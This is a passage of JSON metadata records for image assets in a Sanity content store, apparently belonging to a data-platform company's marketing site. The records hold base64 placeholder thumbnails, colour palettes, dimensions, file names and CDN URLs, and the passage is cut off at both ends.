tL5Ps9kkCAKZXwRijs/j/LzJlf8ShiGu6+I4jhQWQrRqcdz0QjTdwVJUAtNAXPLoOcG4yfM8XLeJ7weYToBSN7FrNTxDZ79ks/Rxh0xqHn1jjdDUWpOeCl64iKeUa7s+BxWbzPcchY1vWLnfbO+qzKQ2WXs9jPJhjlBTjj/gsgn//cuQmuqwv1emms1iV0pU6wbZnTL5rR/YhQMCt4kQEeKMRmK7WOVnucZuVSFXV8k3dAoNnUNFY+9IYadYIZsv8StfYvuwxGauQOagSOaw3GKreES2Ume/ppJ4lFqiK7XMk9kVuudWeb6wTnLxC33pr5Lk4md65tfonvvE09kVulJLPJx5T+d0mgdTaTrfpHn8dpln71bpWVgn0d4/xvW+Ua71jtDWN8qNF2O0949ze2CCu0OTdAxNcmdwglsD45Kb/WO09Y5yNTnCleSw7OsYnOT+q2nuvZziD2chH70ORC+NAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444880","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b748f","foreground":"#fff","population":0.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d83f1d","foreground":"#fff","population":1.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0cccf","foreground":"#000","population":0.51,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82b6cf","foreground":"#000","population":0.81,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b99aa","foreground":"#fff","population":0.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d83f1d","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5ea58bfbbf1669124033f967b67181c3583ec8b5-1200x675.png","path":"images/sczeoy4w/production/5ea58bfbbf1669124033f967b67181c3583ec8b5-1200x675.png","sha1hash":"5ea58bfbbf1669124033f967b67181c3583ec8b5","size":35973,"uploadId":"8IKdWmFyDwwKQDuLHJOpMrAwclPAG40n","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ea58bfbbf1669124033f967b67181c3583ec8b5-1200x675.png"} {"_createdAt":"2024-01-29T17:05:22Z","_id":"image-806f59cc0ce26bb463bd2a78676af06987b32b1d-923x1184-png","_rev":"VeNKqGNmt13PzvGhqsaU0i","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T17:05:22Z","assetId":"806f59cc0ce26bb463bd2a78676af06987b32b1d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dIDSXbxtF|S5~Ws:T0bbJ.ayr;WBEMWCnNs.R+WXsms.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7795608108108109,"height":1184,"width":923},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAIAAAC+dZmEAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFcklEQVQ4jSWNyW4iBwJA6ztyyESaTqe7jQ3UwlLUBrUXmynAgLGxcbtZbIyhWQrMTkEBxWpDvCWxorTUlxkpp04ijTQzh4lGc8hhzjnkV0bWSO/63gMuy5WSUqs1Wq12r9fXBsOJNp6N9bk2ng2Gk4E2GY6mqqb3BqN2d1BvdErK1UWpks0XU+cXwPuqotSb/zeHI32sL0aTebfbKxcLl9lUMZdRKuVef/CcGE7a3UGt0S5Wa7liOXNRAJR6o9nq9vqaNprq85U+X7abzWzyICkL50H6THYdy0Iu+66nDsf6UtWmra5arbcK5dp5oQRcNTud7nN4Or9eXm+GAzV7HEt6qH7C/eF99C7tSQuWII/nz7NjfT6ZXfeHk0arV1Ya+fcVoN3pq8OJPlut1ner1VopnB9IZGuf//vk8venzn+m5/oB47dvhdxss9GcrTaj6bLb12qNTqFSA/p9bTSZL25uN3ffznT97DCUZC23Gfm3Tf2PH9TflsXHtDeObdHIVuY0qc+W0+VG1fRGq1+qXgHDoa7Pr9e339w9PI367XSIvZAst+nAp27m37Pip/bp6sR76jIRW1+E3KzaV5fru5G+bHUH5VoT0Eaz+Wpz+/j08PikNsopn0Px2z6W4/8YXf46yf/cfvfxfbwpE643n/MOsFGrrjb3+vymq46URhvQxrPF9df3337/+PidquTfSrDitfzUPPnvdfVX7eKXq5Ofro71fYY3/El0GFtK6WZzP12uu+qo1ugAw9F0sdrcf/P9w8OjWjk7EaELzvQxF/xX/+xvjexfLuI/ZOQrL8oaPg9QULdWWm/u9cW609eq9RagDsazxc3tw3df39y08sfHvClBvh7HXJ/qJ//s5n8sJJb7bMKxhb/+LEDsKLm30+lsPF0222qxUgc6XXU8WVyvb+dav3qym2QNEceLDGu8PfX8WE08pfxVEfEYv8DefLaLfpmNcC2l2FM1pd7OXZaAWr3ZU0fjybRbzefD5Ftu65B6maRe9WTbTYIehhyXrHHP/spnfRHBXyQ4Y+4opFSVQqmayuSAy0KpWmtUKkrqMBylTXv4lzHyZZo1LA7wD1nh4R2nxV21MFkLoTnJGMS+inhcmUw2c5Y/Sp4CqVTmXSodjUY5msDhN7j5zwzy8liArtPSX+vRD9XoOh9e5UKLM38pSnsomHZioXAkfnAUicWBeDwuywGWdWK4DYaNELyDYXDI5ywd+zrZUDMbvspEqum97FEgLIsumrQ77BhBcoLo9vkAv9/LcU6Hw2K1QjACooSddTP+oBSNePajnv19fyQWCIS8rMQSLpJykiRFIBaL1W6jXE5AEBmaxiwWMwSZ7KiF5kh/UAzteaIRTyzmi8V3A2EfJ3EOHEUQCMfsNE2iqBWCQQiBAFF0MQwGw2bEAlKUg2UJUXJ5vGxwlw/KQkgW/T5eFBiSQEGzETQb7XYLjtkQBNzeMQAet4tlcQg2g5CJJFGOd/I8RbscDI1znEtgScaJ0U6cJFCz2Wg07mCYjedIgrBbrDDgcVMMi8GIGUFAjnOFo4Hjo1DAx7KcS/K5eZ7G7BYYMoOgyWjagWGzwFFBWeRY3I4iAEOjBGm32hCCRL1e/iCxl8sdJQ6Du7JHDu/yPG2BwZ1tAwia7Q4bjttlP3cY9wsCCYE7AI5bCQolnTjNkqLkDMhSNB4M7fkDAXF3V2QZEnmWt2EYwkmH04ntBcVkIiCJlNlkAGx22IYiJOWgWZzjCVF0im5GcNPSM4wg0gSBmoxGw7Zhx7RttYKyn0nEfeLzeRuAELMZNOKYleNIyU27PYwgOVmeZFiCYUlecFFOzAya3mxtvXr9ldlk8EpULOIWOMKCmP4H/mIoh7G6gwEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523f30","foreground":"#fff","population":6.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#271909","foreground":"#fff","population":1.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#523f30","foreground":"#fff","population":6.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aab0a6","foreground":"#000","population":0.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#deb09a","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a56e52","foreground":"#fff","population":2.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5987b","foreground":"#000","population":6.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Nithya.png","path":"images/sczeoy4w/production/806f59cc0ce26bb463bd2a78676af06987b32b1d-923x1184.png","sha1hash":"806f59cc0ce26bb463bd2a78676af06987b32b1d","size":1736861,"uploadId":"rOFRbIITaODlAC6cOVkJabMdRtRSmxrs","url":"https://cdn.sanity.io/images/sczeoy4w/production/806f59cc0ce26bb463bd2a78676af06987b32b1d-923x1184.png"} {"_createdAt":"2022-11-17T13:51:44Z","_id":"image-2e91702e13857b3898d27261d33b06b08f2836e8-600x408-png","_rev":"YI3rks3mbRtnzMpdnMJpSS","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:51:44Z","assetId":"2e91702e13857b3898d27261d33b06b08f2836e8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJQ].-_3IVV@?v4;WBM{j[od?w4nof%fIANLWBogocj?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4705882352941178,"height":408,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdElEQVQokY2Q20tUQQCHz78WQTeSBC2K9KlEoYeESuvBDIvMqERStJcIKh+C0rytEcFuEmruelxXbV1z1725l7PnzO2cmTkzc87G7kYPIdTH723m4xtGax0LtoyvNI2Fz47WdnJk7diz783j648W9haihdBuJZQwl/bATLR0+0P89PPI8eG1UyPhlgm98/W29imWD0Tz83puTs/N6vmZ2gqLsVI4ZaXKJGvaWYvmAEsazmoKBraM+Vg5sGV83ql8TViawwUGABYOgWlZiFjIhsRBNsU2dSijjHMhXekJ5XHpMaHq8xrTXCFNw8jtJ8vFkoVsRKjDXOYKygUXUkollSek5wqPUtcCsGKaCGGHMimVhqkby5ih7fzmgVE0EcQ2cZjDXcqFK5VQnk3dkoFS6eJGNB6YX5ye+hhcWt7YSZgAatBx19PwS7wSzcCiCYFlAQARwhgT23EcygplS49sLk7Pvhx/0d/bc6e7e2ho+NXk+3hiX6PcLQInD6iBqWkBo2wYRqWBZVkI40wmG5ybmui/0XOlvfPypa6Lrdfa2gfuDkTCusZdQajLhHSFxBgDACCEqJ6uhSnN5zLBmcnH19s6zp3ouNDSdb75atOZ+7d6NyJ67cMcLrlQQilKKapDCOGcK6U457nMwVpo4d3E4NO+m0/u9Y0OPhgbfDj15m0mldKU8qTylO97ns8YQwgBAGzbFkL4vs85y2fTu1v6jr4a/hZaX1n+Gf+RTiZLhwVGqeZ5nu/71Wq1fpU3yowxpVS1WlVKOTZBEBCMMIQ2IVLKWsf3q77/t4wx/pOt1vF/4zWchtY4OlpuZP/JEc8mhPyn/AsvruGFgpwzXwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38292b","foreground":"#fff","population":3.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#721e19","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0967b4","foreground":"#fff","population":4.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bbc4","foreground":"#000","population":2.58,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96daf8","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a27e59","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0967b4","foreground":"#fff","population":4.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2e91702e13857b3898d27261d33b06b08f2836e8-600x408.png","path":"images/sczeoy4w/production/2e91702e13857b3898d27261d33b06b08f2836e8-600x408.png","sha1hash":"2e91702e13857b3898d27261d33b06b08f2836e8","size":126425,"uploadId":"0DtyAtttuRikAk0OyTuGMugjEmWzkaZK","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e91702e13857b3898d27261d33b06b08f2836e8-600x408.png"} {"_createdAt":"2022-12-19T13:05:54Z","_id":"image-0e56fdbb268ea6619dcc63635c4d9229bdda94de-1068x1050-png","_rev":"K0rtrsNuqDEgCtVQHU68e0","_type":"sanity.imageAsset","_updatedAt":"2022-12-19T13:05:54Z","assetId":"0e56fdbb268ea6619dcc63635c4d9229bdda94de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ePNA0ZLN00%$D%k=V@RjayIUC8^49twISg#kS4tRoeWAniWBWUNGnO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0171428571428571,"height":1050,"width":1068},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFbElEQVQ4jTXUa0xbdRgG8D/bdLqp8ZLoPqgxxls0WWJMvGtMjMbblsVrNDFe5pZs6owadzav8R50C0Mcc1AolyGMDhhlG9ALLbSlpfROe3p62tPTntPTc1qgheI2YeP5G1A/PF9/H973eV/y2ZcdhE2Vr4pw0++zqWlOyE6fzSozs1K+pOXUsqxoc2lFm+fyhUokX6h41OKCVSsuGBVt7lhSyO3zTgY3G7qPr9u98w1iMlkIuezq5+/4eJ/+tmBM3R/jVYnlZXBJ6QKfVpaEjLYoSsW/s7mZ85JSOifnywtyvjynaPMzslIqxOKC3el0v3ayr29DbU01GRoaJmTjdVt3b33l+2d9YemXUFQsOj0BOur0wjHuoy5PgLq9YTrpj1J/ME4DYY6GoynKCwpNZzQamUpwY2POdweNPVfUHtWRYZOZkI3Xbnnhg0+PPhmKyYf9Yb5ssbnoqUHL8sAZM4ynTas5PWjFsHkUVpsLTncAUTaNpKAgGI4HRp2el0+OTFxa02Ig3t56QtZd8cxGhyexOSGozVFOXPD4InTU5YXdMYGRUTfMVgcsIy64PEEEwhxicRGiVISQURHy+X3e08delQ88vvFWKyVmq42Qqze9SES5eG9SzBu4pHR+Ki7QCJtCNC4gGk9jihUQ4zJIiSokZRY5dQ75QgWiqCA20pOVf996+OK+dc9Rhmw6+82mNWTH7uoql9v/qMPlHbLaHEtDJis1WewYsTnomNNDQxEOolSAoq1CVC1UkC8sIC1kwRsPLZZ/ujsPhgxRhuwEU3UTaWhsrNI16Z/W6ZodOl3zcrO+hepb2tDYqENTsx4DpwdpJJak2dwsMrkSlZQScloFqUQSguFbLHx7M6V7yTkwxAaG7CQdncfX6Zr0L+lb2v2Gnn6YrGOrMfQaaXtHJz3R0weny4tQKIkJTxzhiIhMrowky0L88zOc++aGZbqXUDBkFgwxE483tN7p9r3tmQyz4WiC8skM+EQSPq8PJpMFw8ZTmOjtR0BvgOtwF0KWSYjZGfCRILItu/D3V9fgP/ACGFIiiUR6A5eS9/DJTFqI+Knk6EFmuBE+YxMGDH/CfKwN3I/fQ3lrF+T39iNnMEMSi+ADbsgNb2Lxiyv/B5fBkPNkzD56ldPt+8LtHFf9A3rK/rEd0QPbMFzzIVqP1KDvSB3Y/Xsw8+oWlLa/g+kuA+RUDokJG5TD27D0+eX/gytz5ElbW/v1La3t1W2trbOdR2to38GPMFC9A12HvkJzwxEYWpvh0/2AfO3rmG54HQV7I7KCgPjYGag1T+HivktWlgIwJAWG1JF+45lb2o911jc2Ns3X1dXR2oO/oP5QNVqajqK720AHjEZ4rJ0Qx6uh+X+Cyp+CkBbBWk7Q4q8PY5lZu0j3kgwYUg+GPErCU/w9Hm+ozWyx/9Xd3Utb2zrQ1t6Bnt5+mK12OuYYh98/CSEZRF6OQ8krlE+pmBo+Xin8+gi3zKxZ6eB3YKoeAkM2ED6df4DnpX42xC5Njk/SlYp4JkMIRjjEOHHl8/x3JSUo2gJk9S8a5wtLPpvZm65/g1lm1jxBGXLzxf3r19P7CVkBH+OT0kk+mqhE/VOLwRB7keWzK/dKs8oslfMlmlPnqKLNryarVGiUK5xzjoc6bf3d9+FTsvYTSgl9nhAwK6Cg3Mmn5I/4RKY5Hk+fZDnRzqeVoCgXU1llRpHz5VJOmzuraPOLOa2ylJYrNBLXKqOuyBHjoP1Wd0ct8Xb9VnX257v+BZOCsp4XlOuTonp7KqM9mJYKW0W5uCOTm/5aUmYb5Hz5TE6bCyjavCirC9OpbGUpFFNLo87Qwf4+441d7hliGxquEqZ8q+A/P/ZcpGQNtrAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434656","foreground":"#fff","population":1.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b160c","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f0790d","foreground":"#fff","population":10.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb8ba","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dee4fc","foreground":"#000","population":0.43,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#615c7c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0790d","foreground":"#fff","population":10.92,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ebook-fast-growing-companies-innovate-with-data-platforms.png","path":"images/sczeoy4w/production/0e56fdbb268ea6619dcc63635c4d9229bdda94de-1068x1050.png","sha1hash":"0e56fdbb268ea6619dcc63635c4d9229bdda94de","size":114348,"uploadId":"eEo5ufdWuqDUUyi7GlxvwhH1eyG9bVq3","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e56fdbb268ea6619dcc63635c4d9229bdda94de-1068x1050.png"} {"_createdAt":"2023-03-17T05:03:00Z","_id":"image-5d148d922dae9a14fb0c2f86d0ba01d1520afbe1-10000x5233-png","_rev":"0lF4kyZBi1fr8QymZ7MfC6","_type":"sanity.imageAsset","_updatedAt":"2023-03-17T05:03:00Z","assetId":"5d148d922dae9a14fb0c2f86d0ba01d1520afbe1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9RW0g6U#6?bb|X2IBxux]V[%%-5kqMeWm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910949742021785,"height":5233,"width":10000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAFxGAABcRgEUlENBAAABuklEQVQokW2SSW7bQBBFef8r5AYZttkaSBzDhiRSQ2yZg2RLnCn2UF3VTbLZlAIpQIAgAR5q8YG3qf89ia46YZqzrOB1S0z2THTXKwcOlsPAZC/RoTmjHkjVBBmRQuPQXDyhbFrweJdHSRbvi2Sfv0bHbXSIkixK8jBOoyTLK6m0Mxr6+mE4fDLlPakTGucxOezeq9UmXgQvc/9l7j8/zlZz/3m5DoPV6yLYrjbxIWvI2NGaCbZT9nlMPpjiOxF4TPbJWxmsw8fZ+uFp+TRb+6vXeF+kBc8KnhY8r4BLGnrjLPWdJBF3uy99+FHz1BNqzEuZvJVhkm7jY5Sk72nTMC2UFcpKHJWeus46wy1VLfJMSBYtTPBVN0cPyDXclA2UjSoaKGpZt9SK/sb1c0BOm9EaNRqGBtipVf7SzObEuKf0JJUV0As1SLQ3RonuD6DPEh0BWl65+jD+XNq7b2YTkeo8JKeYZidsRQc0UXdB8xdKX1pwbS1oHw7LH8P9XecHVDE0k4doZSPrgtUt3fr8j8zVueU9r5g6HOmYUQuox2vPqCfEAaAHHFGf/5V/+6DPoCelJzTTdTC3/Bft9CknBXXaTwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393a53","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e3106","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3600c","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95c0bf","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc649c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5498a7","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3600c","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven_Simplilearn_webinar_Mar_social tile2.png","path":"images/sczeoy4w/production/5d148d922dae9a14fb0c2f86d0ba01d1520afbe1-10000x5233.png","sha1hash":"5d148d922dae9a14fb0c2f86d0ba01d1520afbe1","size":649721,"uploadId":"jJ69tpbXX2eNOboAXWvwx9nJlzmWi4Cq","url":"https://cdn.sanity.io/images/sczeoy4w/production/5d148d922dae9a14fb0c2f86d0ba01d1520afbe1-10000x5233.png"} {"_createdAt":"2023-04-19T08:01:48Z","_id":"image-54288ce1dba155259eef2ef2ca4038e64b1c401f-1567x844-png","_rev":"UVAlzXg2fL5axrKDg1KQtu","_type":"sanity.imageAsset","_updatedAt":"2023-04-19T08:01:48Z","assetId":"54288ce1dba155259eef2ef2ca4038e64b1c401f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86IXU?cRPWBWB_4%MM{WBj]RPRPV@oft7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB5ElEQVQokW2Q72vaQBjHk2gSLFtiams72MvBMHeJmjtnazToXg1K19VauuEPLOwusV7cqr4bW+cvWpXsbx5ny6Bd4cPD3cN9n+/3HiGRY0ZhsI0Gep7pDjMQM1CYdFgShbrDtHx/Gw+SOFTsnmhS4Qnp8sg+meCzufXxNz805rgxz59O8/WZfTKBxze4Mc9+muyUrmPAf6rf98b4fOE2l8XPt4fNZbUbvb/8U2mvKq1VrRt5nbXXWbvN5ZsPP14gJgH/QQZ8AQTCXmWEGnO3uay0V9VuVO1Gtcuo1LzD54tya1Vpr4oXtwdf7rKn0113GIeB+KDscfa8MWosvM66tvGsdiO3tXx79DNdHqbLo31vfF933eGWwyS4SQ4CAV7xmipdZ45+4bOZU5869Rmqz+DxTdodyhY3EYEvbRABFU0qARoDhF/hxlmxelqeGZglEcdAfOeqvYn3GAkQGRIFfpUBifOJgSBmqGRSKUOkDBH/YZLHSl+CvmxRGZIYIDFAZUAVkwoJSPRcoCGmZq8kk3/pOfyY5Ss2z3zfiZtUNYmQypLXxf6r8lAvDBQ7kGEQ/w/ZCtRskMgFqu3LkL9Rob9lUSFVYOmDcOfwu1H8puHw5fMwHTPjHTMKTMOhhsMkZinc/wtb16CJeO4NXwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345073","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.96,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bcda","foreground":"#000","population":0.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7293","foreground":"#fff","population":1.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54c53","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"save_resources_only_run_services_when_you_need_them_blog.png","path":"images/sczeoy4w/production/54288ce1dba155259eef2ef2ca4038e64b1c401f-1567x844.png","sha1hash":"54288ce1dba155259eef2ef2ca4038e64b1c401f","size":21886,"uploadId":"dIVevSg2tKwA7j2EEt6hzM1qVuRFpfmv","url":"https://cdn.sanity.io/images/sczeoy4w/production/54288ce1dba155259eef2ef2ca4038e64b1c401f-1567x844.png"} {"_createdAt":"2022-12-08T12:08:34Z","_id":"image-fdb4408bf15185c1b32ad4aa41f8295189805a8b-1354x1354-png","_rev":"DKZhaksM059ME8cLrUyh3q","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T12:08:34Z","assetId":"fdb4408bf15185c1b32ad4aa41f8295189805a8b","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1354,"width":1354},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e465a","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a130b","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a130b","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8c4d6","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca44c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6ca46c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44f0e","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"open-source-inline.png","path":"images/sczeoy4w/production/fdb4408bf15185c1b32ad4aa41f8295189805a8b-1354x1354.png","sha1hash":"fdb4408bf15185c1b32ad4aa41f8295189805a8b","size":708296,"uploadId":"fQECHj5SIbT7oB3inT49YRgQoFnBOKGg","url":"https://cdn.sanity.io/images/sczeoy4w/production/fdb4408bf15185c1b32ad4aa41f8295189805a8b-1354x